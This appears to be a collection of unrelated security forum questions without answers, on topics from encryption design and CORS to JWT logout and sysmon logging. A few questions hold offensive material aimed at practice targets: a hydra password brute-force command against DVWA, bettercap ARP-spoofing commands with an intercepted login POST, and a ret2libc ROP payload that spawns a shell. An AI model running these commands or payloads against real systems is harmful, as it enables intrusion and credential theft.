I need to write a simple program that demonstrates a race condition. I picked the Meltdown vulnerability. I want to clarify something. I'm following this explanation https://resources.infosecinstitute.com/topic/race-conditions-exploitation-case-study/ The result of this attack is that the value of PRIVILEGED_VALUE will be revealed with high probability. This is because the Meltdown race condition means that — in parallel with the permissions check — this value will be extracted and used in the calculation BASE+PRIVILEGED_VALUE, and the resulting memory location will be accessed and the data that it is contained is moved to the cache. This means that, when the attacker attempts to access the range of potential memory addresses, one should be accessed much more quickly than the others. This is because the address BASE+PRIVILEGED_VALUE has been recently accessed and cached, while the others (hopefully) have not been. This makes it possible for the attacker to derive the value of PRIVILEGED_VALUE by identifying the cached memory address and subtracting off the value of BASE. I don't understand one thing. How can the attacker exploit the fact that he knows the value of the memory location of the privileged data he wants, if he doesn't have enough privileges to see it? What if this data is encrypted? One more question: how does the computer "know" what is in the cache? Does it keep a variable saying "this cached value corresponds to this query" or something like that? I need to know this for the program I am writing.
I'm working on updating the encryption method of a class at work. The encrypt and decrypt methods take the text to encrypt/decrypt and a string which used to be used as a salt (this string is hardcoded in the method calls in lots of places throughout the code base). My plan is to securely generate a random 16-byte salt, then use scrypt to derive a 64-byte array from the salt and the string (which I'm now considering a password since it's not being used as a salt anymore). I'll then split that array into two 32-byte keys, and use the first to encrypt the text with AES-GCM. Then I'll use the second key to encrypt the first and append the encrypted key and the salt to the encrypted text. On decryption, I'll regenerate both keys using the salt appended to the encrypted text, decrypt the key appended to the encrypted text, and compare it to the generated key. Assuming they're the same, I'll then decrypt the text and return it. Am I gaining anything by using two keys like this, or would it be just as good to derive a single key from the salt and password, and just append the salt to the encrypted text?
In Canada, Québec introduced it's Covid-19 App "VaxiCode" on September 1; BC, "BC Vaccine Card", September 13, requirement in place until January 31, 2022, subject to extension; Ontario, September 22, "app to follow" on October 22. (CBC, CTV, Global). Apparently, these are QR codes that lead to a shc scheme address, which IANA says is associated with a 2009 article in the New England Journal of Medicine, (details about the protocol.) Can I view this information? What about requesting that it be deleted in the future?
I recently clicked on a malicious link on Reddit When I was directed to the link, it asked me to do a couple of captchas. I did them and then was redirected back to Reddit. Then he said he could see my handset brand and that I was changing browsers to open that link. So I want to know what other info he got from me. I used a VPN called ThunderVPN. But it's not paid version so i was worried what sensitive info was leaked. Does he know my ID on social media like Facebook? Are my social media accounts compromised?
I just clicked a link on pinterest to take me to the source website. Upon clicking, it took me to the following 5 links: https://s3.amazonaws.com/bishkek0303/decorative-graphic-design-element-in-oriental-style-sun-moon-clouds-stars-vector-hand-drawn-illustration-com-imagens.html maindomain333.top/hairstyles.html https://t.co/QunkuSWPn4?amp=1 https://www.tasikardi.net/?redirect_to=random https://tasikardi.net/pastel-eyeliner-way-of-adding-soft-colours/ What can one do to ensure no threats were posed during these re-directs? Aside from 'scanning' the websites with Nortons Website Check tool Is there anything to look out for specifically in the network logs of the browser developer tools for instance?
How do I determine the current CORS "state" in different browsers? I have for example a case where two different Access-Control-Allow-Origin headers are set, and I want to know which one applies now. Usually I read through the specification in such cases, but I was unable to find this specific case. Additionally the specification does not always match the implementation right? How can I approach such a problem?
Imagine a web application in which two computers can communicate with each other by transferring files, through the server linked with some unique password. Every file sent between the clients are sent through the server, means that the server just connects them and acts like a middleman, so he can see all data that is sent. Due to privacy reasons, I would like to prevent the server from reading the contents of any sent file, so any client can trust that the server will never know what's in the file. So asymmetric encryption solves it as-long as the server really follows the protocol, but that does not prevent the server from tricking the protocol. For example: A has the public key of B B has the public key of A Now both can use their public keys to encrypt the data and send it over to the server. But there is an issue When A sends the public key to B, it uses the server in order for B to receive it. But what if the server saves that public key for itself, and sends B its own public key, and B will trust it that it's A's public key and use it to encrypt the data? The server will receive the data and unlock it using his own private key and save the file locally, and afterwards use the real A's public key to encrypt the file and send it to A as it was sent from B. This completely tricks it, and I think that Certificate Authority also can not really fix this issue that in worst-case if the server wants, it can always trick it because everything that goes to client B from A will always reach the server first and the server can remember any data, keys and pass anything to the other side. Maybe I am missing something and don't really understand the solution of CA/signatures Also I cannot use peer-to-peer connections, not even just to pass keys.
I'm trying to understand what the permissions granted to a Google Drive connected app actually mean. The example I'm looking at is MindMup 2 For Google Drive, but it could be almost any as the permissions requested seem typical. Google Account permissions requested include: See, edit, create, and delete only the specific Google Drive files you use with this app. See and download all your Google Drive files Connect itself to your Google Drive Manage your photos and videos See your primary Google Account email address See your personal info, including any personal info you've made publicly available. Permission 1 seems OK, the App obviously needs access to its own files. Permission 2 seems absurd, see and download all Drive files! So my first question is, does that literally mean what it sounds like? That is, the company behind this app is asking for unfettered access to all my Google Drive documents so it can download all my Drive files, even the ones that have nothing to do with the app? But I'm confused about the apparent contradictory permissions between (1) and (2), or (1) and (4) for that matter. They can't both be valid, (can they?) so which permission is prime? Does anyone know if this is what an app vendor has to ask for, in order to get their app operational? Or are they claiming permissions wildly in excess of what they need, to trawl through my data? And if the answer to the last question is that they are claiming wildly excessive permissions, why does Google allow this?
I recently started working on adding custom code to HubSpot forms after their form is loaded via an iFrame. Initially, I was using the following code to access the iFrame to change it: var form = window.docuemnt.querySelector("[data-reactid='.hbspt-forms-0.5.1.0']"] if(form != null && form.getAttribute("data-abc") == null){ form.setAttribute("data-abc", "button-abc"); } This would try to access the button which is connected to HubSpot but it returned null as the iFrame was on a different domain and my page. When I would try to print the form out, it would print "null", which confirmed the fact that I could not access the element. I tried the following code afterwards: var form = document.getElementById("hs-form-iframe-0").contentDocument.querySelector("[data-reactid='.hbspt-forms-0.5.1.0']") if(form != null && form.getAttribute("data-abc") == null){ form.setAttribute("data-abc", "button-abc"); } This allowed me to access it via my third party script and also add new attributes to the specific object. Is this a vulnerability or am I misunderstanding something? Additionally, both of the codes worked when I ran them in the Chrome dev console, so the codes are correct, I am wondering on why one allows me to modify content in an iFrame? I hope this question makes sense!
I've been considering how continuous integration/delivery environments handle code signing. If I maintain some open source project which uses a CD environment to build binaries to ship to users, I may wish to sign the binaries which are produced, so that users can verify they originate from me. My question would be, is it reasonable for the signature to be calculated automatically as part of the CD pipeline? I would imagine it would be ideal to manually sign the binary each time, but are there major concerns with the former scenario? And does it go completely against common practice, or are projects using this pattern? In this hypothetical scenario, a separate signing key would exist just for the build server, I'm not suggesting using my own key for the automated signatures. I appreciate this is somewhat subjective, but I would greatly appreciate any perspectives.
$ hydra 127.0.0.1 -l admin -P /usr/share/wordlists/rockyou.txt http-get-form “/dvwa/vulnerabilities/brute/?username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=4jpaqj7i6d88g7im1hlpq21ad9” zsh: parse error near `&'
There is the following option in ncrack (from the man page): Misc options: ssl: enable SSL over this service ssl (Enable/Disable SSL over service) By enabling SSL, Ncrack will try to open a TCP connection and then negotiate a SSL session with the target. Everything will then be transparently encrypted and decrypted. However, since Ncrack's job is to provide speed rather than strong crypto, the algorithms and ciphers for SSL are chosen on an efficiency basis. Possible values for this option are 'yes' but just specifying ssl would be enough. Thus, this is the only option that doesn't need to be written in the = format. By default, SSL is disabled for all services except those that are stricly dependent on it like HTTPS. What are use cases for this option? Or is it just to upgrade modules like ftp to ftps, http to https,pop3 to pop3s and so forth?
The organization I work for uses Malicious Domain Blocking and Reporting (MDBR), which is a service provided by Center for Internet Security (CIS). MDBR technology prevents IT systems from connecting to harmful web domains, helping limit infections related to known malware, ransomware, phishing, and other cyber threats. (source) From what I gather this is a new tool and has been adopted primarily by government agencies. Recently two major application libraries were identified as malicious content: code.jQuery.com and fonts.gstatic.com. Applications were in a broken state until we alerted our security team that there was an issue. Their feedback was essentially: We don't have control over what is included on the MDBR block list. We trust CIS and if they are blocking there is a good reason for it. Can anyone with experience with this security tool speak to the issue? Have you seen major assets be blocked by MDBR? If so, how did you remedy the issue? It is alarming that jQuery would be blocked. If it is a legitimate concern the entire programming/security community would be screaming. If it isn't, why is it on the MDBR block list?
So the people at my new work set up a vpn on my personal pc today, windows style, so now when I go into network tab I can pick their company connection. What they don't know is that I have another client where I use citrix. Will connecting to the company vpn system wide let them know I have another client? Basically, can they know what I do on my personal PC, regardless whether it's another work or porn as long as I'm connected to their vpn? Am I forced to run it in a VM?
If a user was using your application on a public computer and were to log out of your website without closing the tab, the next person to use this computer could snoop through the console and look for errors logged there. Even if you weren't explicitly logging any request errors to the console you could forget to catch an error from an axios request. This then would be logged to the console. The third party could look at these errors and possibly find sensitive information or even the user's access token. How would one prevent this? With console.clear()? Or would you reload the page on logout? Any other tips?
I read this https://medium.com/@betable/tifu-by-using-math-random-f1c308c4fd9d and if the key is generated with an old browser using math.random via chrome v8, could the AES encrypted message be cracked just by trying all the combinations? This assumes you only have the output and not the computer. this however suggests it cannot be done https://www.reddit.com/r/cryptography/comments/fw2cdu/can_you_retrieve_aes_key_that_was_generated_using/
The cross-platform port of doas, opendoas, has a persist feature that basically caches the user's password so they don't have to enter it repeatedly. It seems like many people consider this insecure. As I understand it, BSD has some fancy kernel feature to do persistence securely. Linux does not, hence opendoas reimplements its own persistence. It uses an approach similar to sudo (which AFAIK creates files and relies on Linux permissions to keep the cache file from being manipulated). How is this any worse than sudo? If it uses the same persistence mechanism as sudo, doesn't that still mean doas has all the advantages that it would without persistence, minus the very minor one related to persistence?
I mean, for example, if you have configured your home router to Cloudflare's or Google's DNS settings - now, does it make any sense to alter you DNS settings -again- at the your Laptop or Mobile devices or use any WARP App? Can DNS settings be configured twice i.e both at router level and device level? Does it provide any extra benefit - like more privacy or security? What happens if you configure you router to Cloudflare's DNS settings while your device is configured to Google's or Quad9's (or any other) DNS settings? Which DNS resolver is in action in such a scenario? Does such a configuration double the online privacy and security?
Should ga gid gat and Fbp cookies be flagged as Secure and HttpOnly? Is there a way an attacker can use them if accessed?
I'm testing a web application and burp detected this issue: Cross-origin resource sharing: arbitrary origin trusted Looking at the response, I only see this header: Access-Control-Allow-Origin: https://www.evil.com Considering the lack of this header set to true in the response: *Access-Control-Allow-Credentials: true * can I consider this vulnerability a false positive? Thanks a lot!
Someone is running an automated scan on our SSL setup and they insist that our root certificate be included in all the following CA stores: "Mozilla NSS - 01/2014" "Apple - OS X 10.9.2" "Java 6 - Update 65" "Microsoft - 04/2014" Now, I could argue about the list of CA stores they are using for their tests but this is not going to be a productive discussion so, I am looking for a way to find the exact list of certificates included in the above CA stores, and derive from that a list of vendors who are going to sell me a valid certificate signed by a root certificate present in all the above CA stores. Hence, my questions, potentially dumb or naive, sorry for that: For example, how do I know what certificates are included in "Mozilla NSS - 01/2014" ? I thought it would be easy to google for that string and find matching certificates but it's not. I tried to find a matching nss release for that data but I can't find any information about which nss version might have been released on jan 2014. How do I know which vendors might sell certificates that are indirectly signed by a specific root certificate ? Am asking the wrong questions given the problem ?
My boss is very concerned about malware. He has heard that malware usually comes in via email attachments, and so he wants me to set up a computer specifically for that task and isolate it somehow. Is this a practical idea? If so, what steps should I take to isolate the computer? Would turning network discovery off be enough? Would I need to set it up on a separate network entirely? What else do I need to consider?
Bank account have portals that one can access online. After entering my uname/password, OTP is sent via SMS to mobile phone. After entering OTP and password again, one is allowed access to online banking portal. My concern is what happens when phone is lost. I understand the security concerns using an email associated with the account profile to send OTP. However, if one uses a secondary email, and this secondary email is only used for OTP/2fa, does this alleviate security risk?
Or Windows 11 pre-release, just cause I'm curious? (By employees if that wasn't implicit.)
I have a static react app which users login via an Okta SPA app. The app receives a JWT, which it is stored in the browser, and passed to the backend API via Authentication header on every request. The API using Azure API Management. They provide "policies" to validate JWT tokens. <validate-jwt header-name="Authorization" failed-validation-httpcode="401" failed-validation-error-message="JWT Token invalid" require-scheme="Bearer"> <openid-config url="https://dev-999999.okta.com/oauth2/default/.well-known/oauth-authorization-server" /> <audiences> <audience>api://default</audience> </audiences> <issuers> <issuer>https://dev-999999.okta.com/oauth2/default</issuer> </issuers> </validate-jwt> I assume that the "validation" is using a public key (obtained by the OpenId configuration url?) to check that the JWT was signed by my okta app? And that it wouldn't be possible to spoof a JWT in a way that would pass this validation? If that's the case, is it secure to just rely on this validation alone, or are additional request needed to okta? I was hoping to use additional "group" claims on the token to manage RBAC. I think I understand how this works (more or less), but I just wanted to make sure I'm not overlooking something.
I'm a freshman in university, and I recently moved into residence. Pretty quickly, I logged into campus wifi so I can actually do classes and things. My laptop and primary phone logged in with minimal complaining, but my secondary/legacy phone had problems. I went to the site that explained how to log into the wifi, but one step told me to choose as my CA certificate "Use system certificates". No such option was available. I wound up having to go to yet another university website, and download a certificate they provided, but it still refused to connect. I never even saw the "Domain" textbox open like it wanted me to. Today, I revisited the issue. I checked wifi connection instructions for other OSs, and one (Chromebook) said to leave it as "Do not check/None installed". I tried it out, telling it to not use a certificate, and, lo and behold, it connected. I checked the network settings, and it had spontaneously added the university certificate I'd gotten off of the website. Now I'm a little worried there was or now is some kind of vulnerability. TL;DR: Joined a network with CA Certificate set to "Don't validate" out of desperation. It connected, and set itself to a safety certificate I had downloaded, and now seems to work fine. Is there anything to be worried about?
The password in VeraCrypt is used to en-/decrypt a header, that contains a master key, that is used to en-/decrypt the data. I know, that I can change the password, which will not change the master key and thus be quite fast. But if I have the suspicion, that someone gained access to my header and is able to crack my password, he will be able to use the master key to decrypt my data even after I changed my password. So, how can I also change the master key, which will include a complete recoding of the container/volume and thus may take some time?
If a device running a WhatsApp account has already be compromised. Can the attacker steal session cookies/encryption keys on the device and establish a persistent connection to receive calls and messages sent to the device? Would this be possible if the phone has been turned off, but the WhatsApp account has not been registered on another device? Hence, encryption keys and session keys are still valid. Thanks in advance.
In my company, numeric user IDs are considered PIIs and therefore need to be pseudo-anonymized to be GDPR compliant. To do so, we populate a lookup table where to each ID is assigned a monotonically decreasing gdpr_ID. Then when users are inactive or request to be deleted, we simply update the ID column by using the gdpr_ID value, making it impossible to know that gdpr_ID was originally linked to a specific ID. The downside of this approach is that we have different tables where these IDs appear and we need to anonymize these records, but this lookup table is getting bigger and bigger, making our ETL pipelines increasingly slower. The solution we were thinking about was to use a hashing function, but since IDs are just numbers we need to attach a salt. How can we generate this salt in such a way that salt(ID) always returns the same value, without having to create/use lookup tables and, at the same time, not being able to reconstruct it?
In other words: Does Safari's "Prevent cross-site tracking" option effectively prevent cross-site tracking? (Is it for purpose?) I though it would work; are my expectations off? Or, more specifically, I'm wondering: Why is Facebook data reappearing in Safari (14.1.2) without me visiting or having any Facebook web pages open? Is this a bug? Or, is Facebook data reappearing in Safari (14.1.2) without me visiting or having any Facebook web pages open a bug? Scenario: After closing all Facebook property tabs, (but leaving many other tabs open) and going under [Privacy] into [Manage Website Data] (and clearing so there's nothing Facebook.com, instagram.com, WhatsApp.com, fbcdn.com etc. I went back in about a minute later and I'm seeing fbcdn.com has (√) Cache again. I'm seeing Facebook.com has Cache, Cookies, Local Storage, and HSTS Policy again[2]. I'm seeing oversightboard.com has Local Storage again. I'm wondering what to make of this Facebook data reappearing. Shouldn't having "Prevent cross-site tracking" ON make this not happen without me visiting or having any Facebook web pages open? (I notice that just loading Facebook.com - while logged out - results in Cache, Cookies, Local Storage, and HSTS Policy.) [2]: This morning, I'm seeing Facebook.com has all four - Cache, Cookies, Local Storage, and HSTS Policy again. Though I've visited no Facebook properties. (At first I was going by my recollection that I (IIRC) saw Cache, Cookies, and HSTS Policy again.)
I'm interested to know how someone would be able to hack (i.e. gain remote access) to an iPhone. Would knowing the iCloud password tied to the device be sufficient? Or would they also need to have gotten physical access to the device? How would this work? This happened to me, and I'd like to know how to recover and prevent this from happening. For context, they managed to send a remote apple event to my phone while I was updating my software over wifi (a shame that Apple only allows iPhones to be updated over wifi btw). The prompt looks exactly the same as an iCloud authentication prompt. Declined a few times just to be sure, and it wouldn't allow me to proceed with installing the update. Hence, I figured it might be a legit iOS password prompt to authenticate before installing the latest updates. A few days later I realized that my phone started leaking information and my iCloud settings have changed on their own. Tried wiping the device, and it won't allow me while giving a prompt that the phone is in the process of uploading files to iCloud (when I have never synced anything with my account). Appreciate any feedback on this, thank you.
When I try to use the module to intercept data to vulnweb, the target machine loses connectivity to the internet. Sometimes I am able to intercept the data but it looks like my terminal is stuck in an endless loop where I do intercept the data but the form is not sent successfully to the server. I get this in an endless loop on bettercap terminal "POST /login HTTP/1.1 Host: testhtml5.vulnweb.com Upgrade-Insecure-Requests: 1 Origin: http://testhtml5.vulnweb.com Content-Type: application/x-www-form-urlencoded Connection: keep-alive Content-Length: 30 Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://testhtml5.vulnweb.com/ Accept-Encoding: gzip, deflate Accept-Language: he-IL,he;q=0.9,en-US;q=0.8,en;q=0.7 username=admin&password=123456 " and also I get endless loops of .17 » [04:38:02] [net.sniff.http.request] http DESKTOP GET testhtml5.vulnweb.com/ In the end, all I see on the target side is "this site can't be reached, ERR_Connection_RESET" some sites get an error "NO internet error : DNS_PROBE_FINISHED_NO_INTERNET" commands I run are: net.probe on set arp.spoof.fullduplex on set arp.spoof.targets 10.0.0.15(target ip) net.sniff on arp.spoof on When I try to send the form on vulnweb= endless loop and the internet on the target site get stuck. I have Alfa AWUSAlfa AWUS036ACH Any Ideas?
Here is the code: import struct buf = "" buf += "A" * 552 buf += struct.pack('<Q', 0x401493) # pop rdi; ret buf += struct.pack('<Q', 0x7ffff7f79152) # /bin/sh buf += struct.pack('<Q', 0x7ffff7e37e50) # system file = open('in.txt', 'wb') file.write(buf) Running in gdb shows this: [Attaching after process 5973 vfork to child process 5977] [New inferior 2 (process 5977)] [Detaching vfork parent process 5973 after child exec] [Inferior 1 (process 5973) detached] process 5977 is executing new program: /usr/bin/dash [Attaching after process 5977 vfork to child process 5978] [New inferior 3 (process 5978)] [Detaching vfork parent process 5977 after child exec] [Inferior 2 (process 5977) detached] process 5978 is executing new program: /usr/bin/dash [Inferior 3 (process 5978) exited normally] Running without gdb ((cat in.txt; cat) | ./program) shows this: zsh: broken pipe ( cat in.txt; cat; ) | zsh: segmentation fault ./program What am I doing wrong? The ROP executes (it gets to system with "/bin/sh" in RDI) and gdb shows that it is trying to launch /usr/bin/dash (multiple times, for some reason) but no shell spawns Kali 2021.3 x64, libc 2.31
What are the differences between the CIS hardened linux and SELinux(security linux)? Also, all the public cloud service providers support CIS hardened linux. Does it mean SELinux has lost the battle? Or in terms of security, which flavor should I be choosing/using for a safety systems such as SIL4(SAFETY INTEGRITY LEVEL)?
How reliable is a mathematical model of a human fingerprint for identification? I am looking for a way to uniquely identify individuals that is very reliable and easy to use that does not require storing actual biometric data. Storing the actual biometric data would seem to violate privacy. The method outlined in this article seems like it might be a good fit. I don't know the false positive / false negative rates. Mathematical Models of Fingerprints on the Basis of Lines Description and Delaunay triangulation
I'm attempting to establish a process for setting up a new GPG identity for myself and my threat model. Much of it is following guides which I believe are still considered best practices: https://github.com/drduh/YubiKey-Guide https://blogs.itemis.com/en/openpgp-on-the-job-part-4-generating-keys https://dev.to/benjaminblack/signing-git-commits-with-modern-encryption-1koh These schemes seem to be advocating for: Setup an offline primary key that only has the "Certify" capability Create an online subkey with capabilities: "Sign" Create an online subkey with capabilities: "Authenticate" Create an online subkey with capabilities: "Encrypt" The above guides are using RSA-4096, but based on my other readings it seems like using ECC with curve 25519 is as secure, but requires less space to store and less energy to use, so I'd like to go with that. I was playing with the tools in a temporary GNUPGHOME, and I was able to setup an ECC primary key, but when I sent to generate the "encrypt" subkey, I noticed there didn't seem to be an encryption capability: Possible actions for a ECDSA/EdDSA key: Sign Certify Authenticate Current allowed actions: Sign Certify (S) Toggle the sign capability (A) Toggle the authenticate capability (Q) Finished But if I use RSA, it seems like it is an option: Possible actions for a RSA key: Sign Certify Encrypt Authenticate Current allowed actions: Sign Certify Encrypt (S) Toggle the sign capability (E) Toggle the encrypt capability (A) Toggle the authenticate capability (Q) Finished I wasn't able to find much online about why this is. For reference my gpg version information is as follows: gpg (GnuPG) 2.2.20 libgcrypt 1.8.7 Supported algorithms: Pubkey: RSA, ELG, DSA, ECDH, ECDSA, EDDSA Cipher: IDEA, 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH, CAMELLIA128, CAMELLIA192, CAMELLIA256 Hash: SHA1, RIPEMD160, SHA256, SHA384, SHA512, SHA224 Compression: Uncompressed, ZIP, ZLIB, BZIP2 In summary, my question is: Why does RSA have an "encrypt" capability but ECC doesn't. Is having one primary key and 3 subkeys for each functionality still best practice? Should I generate an RSA subkey with an "encrypt" capability as a workaround?
I find that session ids are different between 2 peers (client and server) in same tls handshaking process. Why should these two values be different? I studied before that when a new session is established the session id field is empty, but I see this picture. I capture traffic between my client and web server which is supported by TLS 1.2.
while debugging some strange effects in my home network (bad video call quality due to packet loss) I found out this only happens when my RBPI is connected to the network. When I wanted to log in I discovered that the default password was not working any more. I was not thinking much about it and assumed I changed the password at some point. After a complete reinstall of Raspberry Pi OS the packet loss went away... for 1 day. After that the same effects: heavy packet loss AND again I couldn´t log in with the default password. I finally discovered that I left the RBPI with default user settings and password exposed to the internet on port 22 (in the router settings). Stupid. I repeated the experiment a few times and found out that at some point after fresh reinstall the packet loss returns and the default user gets logged out and his password changed. Probably an automated attack on idiots like me. I had a quick check with Wireshark to see if the compromised RBPI tries funny stuff to the other machines in my home network but couldnt find anything. Now the question is: how can I best approach finding out what happend to the RBPI. Forensic tools that scan a SD Card / image? P.S. I dont get why the attacker changed the default password. I would probably not have discovered the attack if I could have still logged in.
I have a cheap cellphone bought about ten years ago. It has a physical SIM card. I have in-phone "deleted" all sent and received messages, but very strongly suspect that these are still there (as well as any deleted contacts) whether I stored them on the SIM card or on the internal storage memory of the phone. I bet anyone with special knowledge stealing my phone could retrieve the messages. Or cops. (Obviously, in the latter case, they also can retrieve it from the phone provider or whatever database stores all messages sent on a network level, but that's a bit different and nothing I can do anything about.) I'd like to know if there is some sort of "secret poweruser mode" I can enter with some sort of code which then lets me fully "nuke" the deleted data from at least the SIM card and the internal phone memory, just like the CIPHER command in Windows allegedly allows you to "fully delete" deleted files on your internal disks or any storage device (such as a USB memstick or flash card) by writing those areas over with zeroes, ones and random zeroes/ones.
I am just getting into ethical hacking and cybersecurity and would like some advice regarding USB Wi-Fi adapter. I am hacking on Raspberry PI 3 which is running Kali Linux. Furthermore, I have been following this video link and been learning about aircrack-ng hacking tool. What I am confused about, is whether I need the Wi-Fi adapter or not. Since I can start the wlan0mon with the command airmon-ng start wlan0 and the interface, wlan0mon with monitor mode will appear when I check with iwconfig. I have tried to proceed with the tutorial, but it does not seem to work properly. For example, I found the clients connected to my home access point with the command : airodump-ng wlan0mon -b "MAC_ADDRESS" and it says that there are no clients connected even though I have multiple devices connected to it. To summarize, my questions are: Do I need a Wi-Fi adapter for the Raspberry PI 3 even though I have access to wlan0mon? If my home router is set up for both 2.4g and 5g and all client devices are connected to 5g, 2.4g USB adapters would be useless is that right? For example, adapter such as AWUS036NHA won't be able to monitor everything is that true?
Basically these 3 processes open for about 1/3 of a second and then instantly close on my task manager. I don't know what it is and I wasn't able to find anything on google about it. I am a little worried it might be malware but like I said I just don't know what it is.
during the static analysis while pentesting an android application I found the following information to connect to a firebase instance. <string name="google_app_id">1:**REDACTED**:android:**REDACTED**</string> <string name="google_api_key">AIza**REDACTED**</string> <string name="firebase_database_url">https://**REDACTED**.firebaseio.com</string> <string name="gcm_defaultSenderId">**REDACTED**</string> <string name="google_storage_bucket">**REDACTED**.appspot.com</string> <string name="project_id">**REDACTED**-staging</string> The application does not use Firebase authentication for users, and this instance should just be used to retrieve some non-user generic data. My question is, would it makes sense to try and interact with this Firebase instance to check if it's properly configured (ex. if it really is read-only) If the answer is yes, are there some tools commonly used for this task? Thank you.
I work in cybersecurity and would like to find an older laptop that doesn't have the Intel Management Engine built-in, while still able to run a Debian OS well. I have an IBM ThinkPad t42 with 42T0273 system board laying around, which was introduced in late 2004. While it likely doesn't have IME on it, I found that t42s came equipped with something called Embedded Security System, which sounds eerily similar. Can you advise on whether my t42 is free from remote management hardware, or is there another, perhaps later model of thinkpads that can be used? (I do not want to use system76 or purism systems).
I am connecting an Arduino Uno to the internet via ethernet (using the ethernet shield v2) and querying NTP time. Making requests to a NTP server is the only internet related thing it does. You can use the ethernet shield as an SD card to host data, I WILL NOT be doing that. It will only be querying NTP. I'm worried this IoT device will become a security target for my network. What attacks is it vulnerable to? And how do I secure such a low spec device? Note: I am not worried about physical attacks, the device will be locked away.
Extend version of the question I'm trying to figure out how to detect the launch of unwanted processes based on regular logging in Windows and sysmon. Sysmon event 1 allows you to get a significant amount of information about the running process: OriginalFileName, User, LogonGuid, Hashes, and so on. For example: Process Create: RuleName: UtcTime: 2021-09-14 08:41:15.359 ProcessGuid: {b56fc2d9-602b-6140-0000-001009272900} ProcessId: 7804 Image: C:\Windows\System32\MusNotificationUx.exe FileVersion: 10.0.18362.1533 (WinBuild.160101.0800) Description: MusNotificationUx.exe Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: MusNotificationUx.exe CommandLine: %%systemroot%%\system32\MusNotificationUx.exe ClearActiveNotifications CurrentDirectory: C:\WINDOWS\system32\ User: test\testUser LogonGuid: {b56fc2d9-5ffa-6140-0000-0020c4d71800} LogonId: 0x18D7C4 TerminalSessionId: 2 IntegrityLevel: Medium Hashes: MD5=64C6885F0A077303D0BDF90B8C19F8DD ParentProcessGuid: {b56fc2d9-6029-6140-0000-0010b70f2900} ParentProcessId: 7796 ParentImage: C:\Windows\System32\MusNotification.exe ParentCommandLine: C:\WINDOWS\system32\MusNotification.exe LogonUpdateResults But the log does not contain the SID of the user who started the process. Why is this done and is there any way to get the SID in the log without building additional correlations? Original Question: Why is there no user SID in the sysmon event with id 1 (process creation)? Are there any configuration options to get it?
As per my understanding, JWTs are signed tokens which can be used to identify users, if used as session tokens, they can eliminate need to store session on server ie. they are stateless. Suppose I store user_id in JWT token and use it to validate users on server, how would a user actually log out? Just deleting token from browser won't be useful, for example, suppose you want to log out of all other sessions. Since JWTs are stateless, there can be no way to invalidate existing tokens, solutions could be to keep it in DB which defeats the purpose of JWT. This would be a major security risk as log out is a very important feature, If JWTs aren't useful as session tokens, what is the perfect use case for JWT?
The company I'm working in wants to develop a CRM that is cloud-based and we will need to store the data safely. I've been searching for a way to create a strategy to save and secure data but I don't seem to find the answers I'm looking for. We don't want to have access to sensitive data, so that data should be encrypted. We looked at some solutions like MSSQL Always Encrypted or Mysql TDE but our host provider (DigitalOcean) doesn't support MySQL TDE and doesn't offer MSSQL, so we would either need to change the host provider or host the CRM ourselves. My Manager also wants us to do client-side encryption as it would be the most secure way to encrypt the data without us having access to it. He wants us to do something similar to Passbolt, but there are some issues, I think. The first issue is that Passbolt only encrypts the passwords that are normally no bigger than 20-50 chars using OpenPGP. A CRM would contain data that is much bigger than that, so this would be a problem, no? The second issue is if we do client-side encryption, we would need to store the users' private keys in the browser with WebSQL and I'm not quite sure how secure this would be. The third issue is that our application would have claim-based access, meaning some users would have access to the planner, for example, others would have access to invoices, etc... So before the encryption, we would need to ask the server for all the public keys of the users who have access to the "section" where we want to encrypt the data. More importantly, if we add or change the access of a particular user, then we would need to decrypt all the data he had/will have access to and encrypt it again to all the users. Keep in mind we are open to change our Host provider (Change to Azure, AWS, Google, etc..).
In case of a virtual machine it is possible to break out of the VM and gain code execution on the host. In that way you could evade any detection mechanism for malware inside the VM and maybe even on the host. In case of the virtual machine malware would then run at ring -1. Is it possible to subvert a physical system at runtime (no reboot, no physical access) so malware runs on ring -2 or -3? Or do you need to write to the BIOS flash or EEPROMs of other peripherals and reboot the system?
I have a system with custom cipher suites specified in this registry key HKLM\SOFTWARE\Policies\Microsoft\Cryptography\Configuration\SSL\00010002!Functions TLS_AES_256_GCM_SHA384 TLS_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_256_GCM_SHA384 TLS_RSA_WITH_AES_128_GCM_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA256 TLS_RSA_WITH_AES_128_CBC_SHA256 TLS_RSA_WITH_AES_256_CBC_SHA TLS_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_3DES_EDE_CBC_SHA TLS_RSA_WITH_NULL_SHA256 TLS_RSA_WITH_NULL_SHA TLS_PSK_WITH_AES_256_GCM_SHA384 TLS_PSK_WITH_AES_128_GCM_SHA256 TLS_PSK_WITH_AES_256_CBC_SHA384 TLS_PSK_WITH_AES_128_CBC_SHA256 TLS_PSK_WITH_NULL_SHA384 TLS_PSK_WITH_NULL_SHA256 However, I can see from Wireshark traces that Windows sends only 17 cipher suites out of the list of 29. In particular, it doesn't send these two cipher suites accepted by the server: TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 Can someone tell me why this can happen?
